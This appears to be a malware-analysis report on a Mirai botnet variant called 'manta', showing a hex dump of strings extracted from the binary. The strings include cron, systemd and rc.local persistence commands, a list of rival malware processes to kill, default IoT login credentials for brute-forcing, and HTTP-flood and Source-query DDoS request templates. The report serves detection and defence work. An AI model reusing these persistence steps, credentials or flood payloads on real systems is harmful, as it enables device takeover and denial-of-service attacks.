manta.aarch64.elf
Mirai botnet malware
Python executes a remote urllib stageCron reboot persistence with Source-query DDoS payload
SHA-25683ea4559ced8e3ad296e98189824963ed626e30d4d33238e3ab3f46549583b67
Evidence
⋯5 more rows
0xa00c84d414e54415f504f5254000000000000MANTA_PORT......
0xa00d82f746d702f2e6d616e74612e636f6e66/tmp/.manta.conf
0xa00e800000000000000002f6574632f6d616e......../etc/man
0xa00f874612e636f6e66002f7661722f72756eta.conf./var/run
0xa01082f2e6d616e74612e636f6e6600000000/.manta.conf....
0xa01182f6465762f73686d2f2e6d616e74612e/dev/shm/.manta.
0xa0128636f6e66000000006d69726169000000conf....mirai...
0xa01382f70726f630000002f70726f632f2564/proc.../proc/%d
0xa01482f636f6d6d0000007700000000000000/comm...w.......
0xa01582f70726f632f73656c662f6f6f6d5f73/proc/self/oom_s
0xa0168636f72655f61646a0000000000000000core_adj........
0xa01782d3130303000000073797374656d6400-1000...systemd.
0xa01886b746872656164640000000000000000kthreadd........
0xa01986b736f66746972716400000000000000ksoftirqd.......
0xa01a86b776f726b6572007373686400000000kworker.sshd....
0xa01b864726f70626561720000000000000000dropbear........
⋯6 more rows
0xa02287379736c6f676400646275732d646165syslogd.dbus-dae
0xa02386d6f6e00000000006d697261692e7838mon.....mirai.x8
0xa024836000000000000006d697261692e61726.......mirai.ar
0xa02586d000000000000006d697261692e6d69m.......mirai.mi
0xa026870730000000000007473756e616d6900ps......tsunami.
0xa02786b616974656e000071626f7400000000kaiten..qbot....
0xa02886761666779740000626173686c697465gafgyt..bashlite
0xa029800000000000000006d6f626f74000000........mobot...
0xa02a8786d7269670000006d6f6e65726f6400xmrig...monerod.
0xa02b86b646576746d70667369000000000000kdevtmpfsi......
0xa02c86b696e73696e67006d696e6572640000kinsing.minerd..
0xa02d86370756d696e65720000000000000000cpuminer........
0xa02e8626f61746e657400736f6674626f7400boatnet.softbot.
0xa02f86563686f626f7400736f726100000000echobot.sora....
0xa03086f776172690000006d6f7a6900000000owari...mozi....
0xa0318636f6e64690000006b656b7365630000condi...keksec..
0xa03286d75687374696b006169737572750000muhstik.aisuru..
0xa03386b696d776f6c66002f70726f632f2564kimwolf./proc/%d
0xa03482f657865000000006d616e7461000000/exe....manta...
0xa0358636e6300000000006d616e7461633200cnc.....mantac2.
0xa03682e6d616e746100006d616e74612e0000.manta..manta...
⋯5 more rows
0xa05702f6465762f6e756c6c00000000000000/dev/null.......
0xa05805b6b776f726b65722f303a305d000000[kworker/0:0]...
0xa05905b6b776f726b65722f313a305d000000[kworker/1:0]...
0xa05a06b736f6674697271642f300000000000ksoftirqd/0.....
0xa05b05b6b7377617064305d00000000000000[kswapd0].......
0xa05c073797374656d642d6a6f75726e616c00systemd-journal.
0xa05d02f746d702f2e6d616e74610000000000/tmp/.manta.....
0xa05e02f726f6f742f2e626173687263000000/root/.bashrc...
0xa05f02f70726f632f73656c662f6578650000/proc/self/exe..
0xa06002f6574632f72632e6c6f63616c000000/etc/rc.local...
0xa06100a282f746d702f2e6d616e7461203e2f.(/tmp/.manta >/
0xa06206465762f6e756c6c20323e2631202629dev/null 2>&1 &)
0xa06300a000000000000002f6574632f63726f......../etc/cro
0xa06406e2e642f6d616e746100000000000000n.d/manta.......
0xa0650407265626f6f7420726f6f74202f746d@reboot root /tm
0xa0660702f2e6d616e74610a2a2f3330202a20p/.manta.*/30 *
0xa06702a202a202a20726f6f74202f746d702f* * * root /tmp/
0xa06802e6d616e74610a002f6574632f696e69.manta../etc/ini
0xa0690742e642f6d616e746100000000000000t.d/manta.......
0xa06a023212f62696e2f73680a636173652022#!/bin/sh.case "
0xa06b024312220696e20737461727429202f74$1" in start) /t
0xa06c06d702f2e6d616e74612026203b3b2065mp/.manta & ;; e
0xa06d07361630a000000002f6574632f726325sac...../etc/rc%
0xa06e0642e642f5339396d616e746100000000d.d/S99manta....
0xa06f02f6574632f73797374656d642f737973/etc/systemd/sys
0xa070074656d2f6d616e74612e736572766963tem/manta.servic
0xa071065000000000000005b556e69745d0a44e.......[Unit].D
0xa072065736372697074696f6e3d7379737465escription=syste
0xa07306d0a41667465723d6e6574776f726b2em.After=network.
0xa07407461726765740a0a5b53657276696365target..[Service
0xa07505d0a547970653d73696d706c650a4578].Type=simple.Ex
0xa0760656353746172743d2f746d702f2e6d61ecStart=/tmp/.ma
0xa07706e74610a526573746172743d616c7761nta.Restart=alwa
0xa078079730a526573746172745365633d3130ys.RestartSec=10
0xa07900a0a5b496e7374616c6c5d0a57616e74..[Install].Want
0xa07a0656442793d6d756c74692d757365722eedBy=multi-user.
0xa07b07461726765740a0073797374656d6374target..systemct
0xa07c06c206461656d6f6e2d72656c6f616420l daemon-reload
0xa07d0323e2f6465762f6e756c6c3b207379732>/dev/null; sys
0xa07e074656d63746c20656e61626c65206d61temctl enable ma
0xa07f06e74612e7365727669636520323e2f64nta.service 2>/d
0xa080065762f6e756c6c3b2073797374656d63ev/null; systemc
0xa0810746c207374617274206d616e74612e73tl start manta.s
⋯5 more rows
0xa0d707061737300000000666f7363616d0000pass....foscam..
0xa0d80786333353131000076697a7876000000xc3511..vizxv...
0xa0d905a74653532310000616e6b6f00000000Zte521..anko....
0xa0da03534333231000000746f6f720000000054321...toor....
⋯3 more rows
0xa0de075626e74000000007069000000000000ubnt....pi......
0xa0df074656c65636f6d61646d696e00000000telecomadmin....
0xa0e0061646d696e74656c65636f6d00000000admintelecom....
⋯3 more rows
0xa0e4073657276696365007375706572766973service.supervis
0xa0e506f720000000000006869333531380000or......hi3518..
0xa0e606a76627a64000000647265616d626f78jvbzd...dreambox
0xa0e7000000000000000006b6c763132333400........klv1234.
0xa0e80697063616d5f72743533353000000000ipcam_rt5350....
0xa0e90786d686469706300616e74736c710000xmhdipc.antslq..
0xa0ea0417363656e640000736d6361646d696eAscend..smcadmin
0xa0eb000000000000000006d65696e736d0000........meinsm..
⋯6 more rows
0xa0f202f6465762f7572616e646f6d00000000/dev/urandom....
0xa0f30504f53542025733f63623d2575204854POST %s?cb=%u HT
0xa0f4054502f312e310d0a486f73743a202573TP/1.1..Host: %s
0xa0f500d0a557365722d4167656e743a202573..User-Agent: %s
0xa0f600d0a4163636570743a20746578742f68..Accept: text/h
0xa0f70746d6c2c6170706c69636174696f6e2ftml,application/
0xa0f807868746d6c2b786d6c2c6170706c6963xhtml+xml,applic
0xa0f906174696f6e2f786d6c3b713d302e392cation/xml;q=0.9,
0xa0fa0696d6167652f617669662c696d616765image/avif,image
0xa0fb02f776562702c2a2f2a3b713d302e380d/webp,*/*;q=0.8.
⋯6 more rows
⋯3 more rows
0xa10a36f726d3a202257696e646f7773220d0aorm: "Windows"..
0xa10b35365632d46657463682d446573743a20Sec-Fetch-Dest:
0xa10c3646f63756d656e740d0a5365632d4665document..Sec-Fe
0xa10d37463682d4d6f64653a206e6176696761tch-Mode: naviga
0xa10e374650d0a5365632d46657463682d5369te..Sec-Fetch-Si
0xa10f374653a206e6f6e650d0a5365632d4665te: none..Sec-Fe
0xa11037463682d557365723a203f310d0a5570tch-User: ?1..Up
0xa111367726164652d496e7365637572652d52grade-Insecure-R
0xa1123657175657374733a20310d0a436f6e74equests: 1..Cont
0xa1133656e742d547970653a206170706c6963ent-Type: applic
0xa11436174696f6e2f782d7777772d666f726dation/x-www-form
0xa11532d75726c656e636f6465640d0a436f6e-urlencoded..Con
0xa116374656e742d4c656e6774683a2025640dtent-Length: %d.
0xa11730a436f6f6b69653a205f5f63665f626d.Cookie: __cf_bm
0xa11833d253031366c6c783b2063665f636c65=%016llx; cf_cle
0xa11936172616e63653d253031366c6c780d0aarance=%016llx..
0xa11a3436f6e6e656374696f6e3a206b656570Connection: keep
0xa11b32d616c6976650d0a0d0a000000474554-alive.......GET
0xa11c32025733f63623d2575265f3d25752048 %s?cb=%u&_=%u H
0xa11d35454502f312e310d0a486f73743a2025TTP/1.1..Host: %
0xa11e3730d0a557365722d4167656e743a2025s..User-Agent: %
⋯11 more rows
⋯7 more rows
0xaab24fd123456780402dc00000000ffffffff..4Vx...........
0xaab3454536f7572636520456e67696e652051TSource Engine Q
0xaab44756572790000000000000000ffffffffuery............
0xaab54676574737461747573000000ffffffffgetstatus.......
⋯15 more rows